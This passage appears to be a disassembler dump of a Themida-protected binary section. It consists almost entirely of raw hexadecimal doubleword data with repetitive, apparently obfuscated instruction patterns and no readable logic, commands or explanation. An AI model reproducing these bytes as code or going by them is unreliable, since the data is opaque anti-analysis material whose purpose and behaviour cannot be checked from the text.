1704h, 0C3574700h dd 64FD0041h, 2810Fh, 0DF8B0000h, 4E8h, 1F03FF00h, 0FA8B6600h dd 5E950h, 6AE50000h, 8B81047Ch, 0E9042444h, 8, 423FB884h dd 0A3F7BEDEh, 0FE9008Bh, 7A000000h, 0DD9FB605h, 17021F8Ch dd 0D3AA5AEDh, 4489AA65h, 10E80424h, 0FD000000h, 0CA4AECCDh dd 0E6CFB416h, 22A8A756h, 5B0A9FADh, 6D8D8958h, 0F064528h dd 685h, 0F1B53100h, 0FF06452Ah, 452EAD95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 3B56E24Dh, 13E90Bh, 0B1520000h, 3075A310h, 0A532E673h dd 3D0918FCh, 114B7A08h, 778589C9h, 6A0648ADh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0BFB7C350h, 0D9968BD9h, 8E9h, 8329CB00h, 0B3BB5F53h dd 0DD8D8978h, 0E9064510h, 1B2h, 0CE8h, 167EB400h, 8C5F2C0h dd 0E2B5E292h, 0F99D892Eh, 5F064530h, 0AD6F858Bh, 81660648h dd 0C7B15EDFh, 1800h, 8D9D0300h, 8B064502h, 48AD73B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0DF96A9B5h, 7A5886D2h, 6820Fh, 9D230000h dd 64528F1h, 3C1858Bh, 6A0645h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 8E40C4C3h, 0A06A5193h dd 689DD8Ah, 8C78166h, 89858B0Ah, 89064505h, 6A0446h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0B4662BC3h, 1315CB9Fh, 2953E490h, 450B659Dh, 50965B06h dd 0AC76DBBh, 6A962Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 376465C3h, 13836943h, 66BD4BA6h dd 0B5FFFA8Bh, 648AD6Fh, 0AE9h, 56F95400h, 4E0F32C0h, 68CA9589h dd 631BBBB1h, 4E243481h, 6A6304B8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B60C351h dd 4512859Dh, 9D850906h, 8D064530h, 48AD7785h, 859D8B06h dd 90064525h, 50DA8B66h, 95E1BF66h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 81757AAAh dd 3BDB509h, 3DBB0645h, 0FF2F15BFh, 452EAD95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 8D892AF2h, 6452B19h, 0A0DBD8Bh, 0F610645h, 118Ch, 0CE900h dd 32B0000h, 408AC564h, 2B5F0314h, 85C71B0Bh, 645095Dh dd 3, 6E9h, 0E7D68900h, 835C2231h, 48AD77BDh, 840F0006h dd 5Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h dd 29C35141h, 6487E6AEh, 0AE9FCh, 0BD920000h, 7BED3E55h dd 91F47700h, 45E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 13068DAEh, 0DEFDA25Bh dd 9D9D8BC7h, 50064529h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 8B66C08Bh, 83FD8AD8h, 45095DBDh dd 850F0306h, 4E6h, 0BE9h, 628C4A00h, 30227D90h, 2159806h dd 0AD77BD83h, 0F000648h, 4C984h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 88C7FBBCh dd 0D8D9D8Bh, 0B5FF0645h, 648AD77h, 29158D31h, 95FF0645h dd 64510C9h, 5ED8589h, 0B58B0645h, 648AD6Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 81C35646h, 0F78166C5h dd 6C77099h, 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0CFC35242h, 0F14EA70Ch, 0BD23B41Dh, 64513A5h dd 89DE8B50h, 0BD8B2434h, 6450BC5h, 0AD77B5FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 6B78D1C3h, 0BB66A88Bh, 8A0F6028h, 3, 66FB8B66h, 0FF61CF8Bh dd 45095195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 9D2B52FDh, 6453019h, 98D895Fh, 8B064530h dd 48AD6BB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 6C16F223h, 108D9D89h, 0F7810645h dd 709007F2h, 14ED858Bh, 86890645h, 0C4h, 0EE8h, 2D0B4500h dd 71578E3Ch, 82443E9Ah, 0F58FDCCh, 282h, 5B5B5600h, 2A01958Bh dd 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0CBF993C3h, 0E884235Fh, 0C28383D1h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D896C33h, 6452569h, 20B98D89h, 50890645h, 57006A20h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E872C8ABh, 5, 70F916D9h, 4DBD8B5Eh, 5B064523h, 3890Fh dd 0B70F0000h, 56858DFEh, 6A0648C1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 6FACC352h dd 64187145h, 0DFD8D89h, 86890645h, 0B8h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 0CBC35545h, 659D030Dh dd 6A06451Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 663E9EDBh, 9D8BDF8Bh, 6451C65h, 0AD77B5FFh dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 93FB78C3h, 6A74AB0Ch, 603AC2F5h, 8E9h, 0A579D400h dd 24692AF1h, 51B52323h, 6106451Fh, 18259531h, 95FF0645h dd 6452591h, 8B66FFB7h, 525050F9h, 0FDF8B66h, 11E931h dd 84390000h, 0BB26119Eh, 7A4EEEE8h, 0A6855351h, 5A1C6A05h dd 24348958h, 209D9D89h, 0B5FF0645h, 648AD77h, 1DD59D33h dd 95FF0645h, 645207Dh, 0AE9h, 74A7A200h, 577068B6h, 83DDFF73h dd 451955BDh, 840F0006h, 57h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 83C35545h, 0B4F4AC50h, 899529F9h dd 96064524h, 77B35250h, 14E8310Fh, 0C000000h, 0A2864C07h dd 0A3C9ECFAh, 0EDAE7EFCh, 0CED2D7ABh, 6071A765h, 585A5F61h dd 0FA8B6650h, 0D9D0B96h, 0FF064506h, 48AD77B5h, 85952906h dd 0FF064511h, 452F2D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0F483FCB6h dd 998D89FDh, 0FF064507h, 48AD77B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 95FF8457h dd 6450735h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0D8C35242h dd 0F897D0ABh, 0DF7D07B3h, 0F60CBF66h, 301DBD83h, 0F020645h dd 8984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 430D84E6h, 0AF816DFFh, 0BD8B4218h dd 64532E9h, 324D781h, 858B13D2h, 6452F51h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 38C35040h, 0EEF56EEFh dd 0F12AA9D1h, 0C6DA8Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0C58AB8C9h, 359A7E50h dd 31359D89h, 85C70645h, 64530A9h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7AC35343h dd 0DE830h, 7FD80000h, 17A52FDBh, 71889126h, 0FCF74345h dd 20E9F95Fh, 0FFFFFF2h, 0C18BDAB7h, 14A99D8Bh, 858D0645h dd 6450D99h, 0DF8B6650h, 33240489h, 450741BDh, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 8092C351h, 6A006A37h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0E4E3C351h dd 8B379C97h, 8B9C1084h, 4533659Dh, 0B7858D06h, 2906497Ah dd 452CE58Dh, 5C08306h, 6850Fh, 0BD290000h, 6452889h, 6E850h dd 16980000h, 720E4F6Ah, 0FDE8A60h, 8Dh, 895B6100h, 81662404h dd 6AE876D7h, 75858900h, 0E806452Bh, 13h, 0D83F8EF4h, 0A946FABCh dd 326AFBC1h, 29D4A3E1h, 5F08A586h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CF1764C3h dd 776B3423h, 0DE979h, 0CD9E0000h, 0A5A3408Fh, 0EAF33E03h dd 0FFCBB6E9h, 45174995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 3CEB2D28h dd 8DB3F12Ch, 489D998Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 24FD4069h, 603B6877h dd 8E8h, 446B7300h, 0E2912059h, 11E932h, 90C10000h, 0AE323942h dd 0F70187B9h, 0CA14398Ch, 5E7A7E30h, 6AD1FF61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0B716C353h, 25BD83h, 0F010645h, 5185h, 21858900h, 8B064517h dd 4529FD9Dh, 80026A06h, 66504CC7h, 896E90BFh, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 3D5409C3h, 3177FDA5h, 451E719Dh, 0A9B58906h, 0FF064509h dd 45259195h, 0EB816606h, 0EE934CAh db 0Eh, 2 dup(0) byte_585A2F db 0E8h ; DATA XREF: Themida_:00540AE8o dd 0 dd 0C1ED815Dh, 8B06497Ah, 451915BDh, 6AFE8B06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0E8A5C355h, 0D5E9EB28h, 66901ED3h, 8E2DC781h, 8F6D858Dh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 505006C3h, 66310F52h, 585AD98Bh, 89240489h dd 452F75B5h, 35FF6406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h dd 641D261Bh, 2589h, 14E80000h, 23000000h, 7F6E414h, 4A5C3506h dd 178970DAh, 0D5FF3BDAh, 89E9B009h, 450BC99Dh, 85FF5B06h dd 64532B9h, 48D78156h, 5B3F8385h, 6AFF6Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD8B38C3h dd 6452F0Dh, 228D9D8Bh, 0FE90645h, 26000000h, 0FAD371CEh dd 0DF0735D3h, 71D021Dh, 0B5FF5DB7h, 6450631h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8FC35646h, 0C76A5E74h dd 68C0FC1h, 8B000000h, 4529159Dh, 0E995FF06h, 0E906452Ch dd 105h, 0ABC38166h, 8B00B01Ah, 452C699Dh, 8B70E606h, 45016DBDh dd 971E406h, 4509659Dh, 0F613C06h, 0E083h, 2D850900h, 0F064518h dd 43BBC8B6h, 0BA765077h, 6, 8BF8B70Fh, 53D381C1h, 0C171C64Fh dd 0BD2B04E8h, 6452899h, 18499D8Bh, 0F7660645h, 0FB8B66E2h dd 0FBBC82Bh, 8B799BB5h, 259D8BD1h, 6606451Eh, 0E6F1DB81h dd 3E9h, 0FBF78000h, 1029858Bh, 9D8B0645h, 645176Dh, 29CF8166h dd 7C083B6h, 249BD8Bh, 0C0830645h, 5860F00h, 0BF000000h dd 6D23A0EEh, 830FD03Bh, 1Eh, 0EE9h, 0A9443B00h, 0E018BD67h dd 66A36B90h, 0E98653FCh, 49h, 0F09CBB66h, 8D8B96B7h, 64530E5h dd 285D9529h, 0B5290645h, 6451DE5h, 0F01E183h, 2884h, 8E900h dd 0D89A0000h, 298BCA91h, 0A5837B43h, 64530E5h, 0DAB70FFEh dd 10299589h, 9D8B0645h, 645085Dh, 0E9h, 2AB58D00h, 600648F4h dd 8BD9501h, 858B0645h, 6450791h, 6A006A61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 64B1C353h, 937735C3h, 0FFFC8A08h, 45312195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0AF402B26h, 13D59D8Bh, 0AAB90645h, 0BB000007h, 23E6D375h dd 81FCE183h, 0FFB071E7h, 6AFC29h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0D03E0EC3h, 0BF0F5600h dd 9D895FD8h, 645295Dh, 0BAF8C02Bh, 0 dd 1941BD8Bh, 33AD0645h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 81CF65C3h, 0BF0F60B9h, 51006ADBh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 463877F4h dd 2C919D0Bh, 880D0645h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A0F0C352h dd 2348AB90h, 61B58B60h, 0F064501h, 388h, 0D6B70F00h, 1958B61h dd 6A06452Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 7C5DC350h, 8B20DCA1h, 4503D58Dh dd 10E806h, 9CA90000h, 83A94881h, 0BB466CD3h, 0E83462C8h dd 6E910A1h, 0AA000000h, 912FC7E8h, 8B505F57h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6890Fh, 8D890000h, 6452B2Dh dd 2E89BD8Bh, 0BD830645h, 6450215h, 89840F00h, 0BB000000h dd 50407082h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 2717EC28h, 0F8B42962h dd 0FA8A52A6h, 2C32C781h, 8D8D01BDh, 6454E1Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D9C35040h, 76BF2E61h dd 0A1CA07AAh, 8D8D89E2h, 0F9064531h, 6AE1FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F93577C3h, 95DBD83h, 0F000645h, 4D384h, 0F9958900h dd 83064523h, 45095DBDh, 840F0106h, 4DBh, 24EDBD89h, 0BD830645h dd 645095Dh, 92860F03h, 6A000004h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0AF12C353h dd 9D8B60A3h, 6450911h, 0FE8h, 99F70400h, 500B427Ah, 8FC8DEC4h dd 0B9FF2F15h, 4F19D8Bh, 665F0645h, 6AD98Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0AEC4A0C3h dd 0D869961Bh, 0E1802536h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0FC90AE8h dd 18484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 75C08F4Dh, 8BFB8B66h, 45058985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 21556E8Fh, 0A21BD89h, 0F7800645h, 75853347h dd 89064502h, 451D0195h, 0DCBF9006h, 504951ECh, 11E9h dd 0C22FE200h, 208D53Ch, 3087F21Ah, 9690F5h, 6A905938h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 944FC353h, 0BF041542h, 0AE0FEBEh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 6DC0D7C3h, 5620302Ch, 685BFE8Bh, 0D1D440E2h, 0EE9h dd 90BE6100h, 79425039h, 5CF1DFCBh, 811A5826h, 0C31D2404h dd 6A2E4Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 2F9B27C3h, 6810Fh, 0B5890000h, 64501F1h dd 2EAD95FFh, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0E83AC4C3h, 3C98E737h, 0AD778589h dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0E97F9BC3h, 26Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 14C35747h, 17E30CAh, 45003195h dd 6F858B06h, 6A0648ADh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6BDAC356h, 4EFF4EADh dd 7FFAE7B9h, 14E8h, 10EFBA00h, 132D0011h, 2CA3EA8h, 7CD6BC54h dd 2C6BFB70h, 0FFBF6636h, 0BD8B5BD5h, 64511D9h, 1800C7h dd 0EE90000h, 0EA000000h, 73D17887h, 0D38AF631h, 779B0FC5h dd 73B58BA9h, 8B0648ADh, 4522859Dh, 0C1858B06h, 6A064503h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 94A5C350h, 1E7D94A0h, 6A06899Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0B352C357h, 60E8D2E1h, 24398D8Bh, 880F0645h, 6, 30D5858Bh dd 52610645h, 696DDDBFh, 858B5B12h, 6450589h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 84C35646h, 0BC8188C1h dd 11E9A44Dh, 4E000000h, 7286488h, 0ACE6C558h, 0F06F71B2h dd 6B92F366h, 6A044689h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0D8D6C351h, 669E551Dh dd 2EC0F781h, 11E8h, 0E9A5E100h, 0AAAD4FDFh, 0ACAECF6Ch dd 4892FEBAh, 8589CD80h, 64510F9h, 8F0F965Fh, 5, 1EBDFFBBh dd 75BF501Fh, 9649BFA1h, 0D58D8B60h, 8B06452Fh, 4532C59Dh dd 0B5FF6106h, 648AD6Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0A7C35747h, 685DC780h, 0C2CA1C54h, 26E03EBBh dd 24048151h, 3D54E7ABh, 755BD8Bh, 858D0645h, 648AD77h dd 68C0Fh, 0BD8B0000h, 6452041h, 0E85C781h, 0E8503592h dd 13h, 9696FED6h, 1151283Eh, 0D8A028D7h, 4C705737h, 52AD5439h dd 8E8h, 6B661800h, 0BCEA3CA9h, 5F5B5BECh, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 77FC350h, 1E860F49h, 0E8000000h, 12h, 4556E474h, 0D88EB7A2h dd 6CBC6AA5h, 5CD0AAD9h, 85014DD7h, 6452B65h, 0AD95FF5Bh dd 6106452Eh, 9919D8Bh, 85C70645h, 645095Dh, 3, 46BB6660h dd 0F0C680BEh, 77BD8361h, 648ADh, 13840Fh, 8D890000h, 6450911h dd 0A1EF8166h, 1EE94Bh, 0EF800000h, 0C3050C8h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 5E8h, 9004D00h, 8A0FF535h dd 6, 29719529h, 6A5F0645h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0FD1AC356h, 0BD833186h dd 645095Dh, 0CD850F03h, 6A000003h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1E6DC356h dd 10E9CAh, 6E8F0000h, 5AA92155h, 4BC8BA6Eh, 4549594Fh dd 0BD832FABh, 648AD77h, 8D840F00h, 0F8000003h, 0AD77B5FFh dd 60500648h, 8A0Fh, 61F50000h, 0C995FF5Bh, 0E9064510h dd 0Fh, 0EAEC132h, 0CAD25BA3h, 75A6B58Eh, 8B64CDE5h, 48AD6BB5h dd 66DA8B06h, 6C7DF8Bh, 10001h, 89F98B50h, 6A2434h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0E956FFC3h, 5, 0D9B63761h, 0B5FF5F0Ch, 648AD77h, 5558D89h dd 95FF0645h, 6450951h, 2305BD89h, 0B58B0645h, 648AD6Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 8BC35545h dd 82D91466h, 0DF8B664Fh, 14ED858Bh, 0AE90645h, 65000000h dd 0D954F50Ch, 0F5C6842h, 0C48689C8h, 0E9000000h, 0Ch dd 81103F16h, 0B9E6F874h, 87FB7C8Fh, 2A01958Bh, 6A0645h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 9A270C3h, 450AA1B5h, 665B5706h, 0C283F98Bh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 5AED1702h, 0AA65D3AAh, 6E8h, 919A600h, 66B54C2Ch, 665FD88Bh dd 8166D88Bh, 89F566D3h, 9D8B2050h, 64515B5h, 0C156858Dh dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 2CFFFCC3h, 0B88689h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F860EFC3h dd 2B9B589h, 6A610645h, 77B5FF00h, 0F0648ADh, 184h, 95FFF500h dd 6452591h, 6890Fh, 0BD8B0000h, 64510DDh, 12F59D23h, 66960645h dd 0B350DF8Bh, 6A96C6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0D2FA70C3h, 5009B593h, 8BA035F2h dd 0AE960FEh, 25000000h, 0F0A41743h, 8BB5A585h, 0B5896002h dd 6450069h, 11D99589h, 61610645h, 0AD77B5FFh, 6A0648h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 60515AC3h, 6898589h, 81B00645h, 8B605F61h, 4518498Dh dd 8DB58B06h, 6106452Ch, 207D95FFh, 6A0645h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 575B46C3h dd 62C19EB4h, 1955BD83h, 0F000645h, 1E84h, 0BDB58900h dd 0F064530h, 68Fh, 0EDB50100h, 50064500h, 3489D88Ah, 9DBD8924h dd 0FF064510h, 48AD77B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C77996EBh dd 7E8F7A6h, 2C000000h, 10ACEC2Fh, 81662D94h, 5FB28DDFh dd 2F2D95FFh, 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 9616CCC3h, 0FBB70FBEh, 0AD77B5FFh dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 7FF8D3C3h, 0BF75623Bh, 23CDC2CCh, 12719531h dd 95FF0645h, 6450735h, 83FE8B66h, 45301DBDh, 840F0206h dd 14h, 8BFABF0Fh, 452F5185h, 0AFEF8106h, 0C6797EABh, 15B30000h dd 30A985C7h, 645h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 9BAF1AC3h, 0E66D82D7h dd 0F56CB744h, 0FFF30FE9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D486A664h dd 0F303C862h, 0E58D8999h, 8B06452Eh, 52006AC1h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8BC2CF50h, 4512199Dh, 99858D06h, 106450Dh, 452C8D95h dd 0DE99006h, 0B4000000h, 58EC7BC9h, 0CB375C30h, 46A186EDh dd 90AFB750h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0ADC35343h, 39E9B783h, 362AFC8Fh, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 1577A7C3h, 6AF867h, 7418D89h, 858D0645h, 6498AA6h, 289D8529h dd 0C0830645h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0CB41D8AAh, 9EE28507h dd 125DBD8Bh, 9D2B0645h, 64518C5h, 60525050h, 6AF2BB66h dd 0F61FC8Ah, 5AD88A31h, 24048958h, 1DA59D8Bh, 6A0645h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B1C35343h dd 8C085FEAh, 6830Fh, 0BD8B0000h, 6450709h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0D6CC0DC3h, 0A553F1CCh, 2BA66C33h, 4507819Dh, 4995FF06h dd 6A064517h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 66F6C351h, 0B2CCDF81h, 15AD8D89h dd 8D8D0645h, 6489D99h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0BAC35141h, 9D8B65B8h, 64521ADh, 0BD83D1FFh dd 6450025h, 52850F01h, 0F000000h, 1189h, 0CE900h, 0C1E0000h dd 53AADAC4h, 0D6E18F54h, 26AE8CFh, 3265BD31h, 0E9900645h dd 8, 799249ACh, 60C4E2FBh, 0DA8B6650h, 12E990h, 74B90000h dd 0D0BAA6D0h, 82B4ABCCh, 0AAADBDCh, 74F52C00h, 259195FFh dd 0B70F0645h, 0D50E9D9h, 0E80000h, 5D000000h, 8AB0ED81h dd 6A0649h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0B341F0C3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 56C35040h, 8B66E103h, 6D858DFEh, 6A06488Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0F830C353h, 0BE932h, 8E100000h, 64512523h dd 0EA3FD063h, 90FB8B7Dh, 50FE8B66h, 0D834BB66h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FF642AB8h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0FD2453BAh, 0F1B70F60h dd 0CE8B6650h, 8964615Fh, 25h, 33C7BB00h, 85FF6122h, 64532B9h dd 30DDBD2Bh, 6AF50645h, 4DBD8BFFh, 0FF06452Ah, 451281B5h dd 97EB8006h, 0B5895660h, 6451341h, 0CF8B6659h, 0E995FF61h dd 0E906452Ch, 0DCh, 0BD8B00B0h, 6451075h, 71E470E6h, 6850Fh dd 0DF810000h, 4B9A3773h, 830F613Ch, 0BCh, 9C9BD8Bh, 0B60F0645h dd 6BAF9C8h, 0F000000h, 680h, 199D8B00h, 8B064530h, 0F98B66C1h dd 0A197BF66h, 6604E8C1h, 6E87E381h, 81E2F766h, 7ABAEDE7h dd 8BC82B0Ch, 4529BDBDh, 66D18B06h, 0E9AB29BFh, 6, 1CA1B589h dd 858B0645h, 6450AF1h, 0A19D8B60h, 8106452Bh, 2445E5C3h dd 0C083612Fh, 83FE8B07h, 0BD8900C0h, 6452429h, 830FD03Bh dd 0Dh, 0CAD8589h, 39E90645h, 8B000000h, 0E58D8BDFh, 8B06451Ch dd 4522559Dh, 1E18306h, 22840Fh, 0B5890000h, 6453145h dd 1CE5A583h, 8BFE0645h, 4501DD9Dh, 0F1958906h, 6606450Ah dd 0E9B10DBFh, 0 dd 0FE5AB58Dh, 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 1D6024C3h, 6E860h, 45670000h, 0C496ECB9h dd 3091B58Bh, 0F5E0645h, 1682h, 10E800h, 0BA380000h, 546DB872h dd 64D042B1h, 480EC5F0h, 615ACE0Ch, 9D31006Ah, 6452991h dd 0F8D7CBBFh, 2195FF27h, 80064531h, 75B9DBCFh, 6A000008h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 880C353h, 53E9C147h, 0AE952h, 67E00000h dd 0E0CDA93Ah, 3467FA3Fh, 0FCE1835Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 4BC35242h, 89E75084h, 452B4995h dd 6850F06h, 33000000h, 450109BDh, 8166FC06h, 2B2FEBDBh dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 47220A5Ch, 81660F9Bh, 2B3DBFC7h, 9FBF66D2h dd 0A5B589EBh, 0AD06450Ch, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0D4D3C357h, 2D8A9059h, 993A3745h, 0FDBBF0Fh dd 6AFAB7h, 3E853h, 5B200000h, 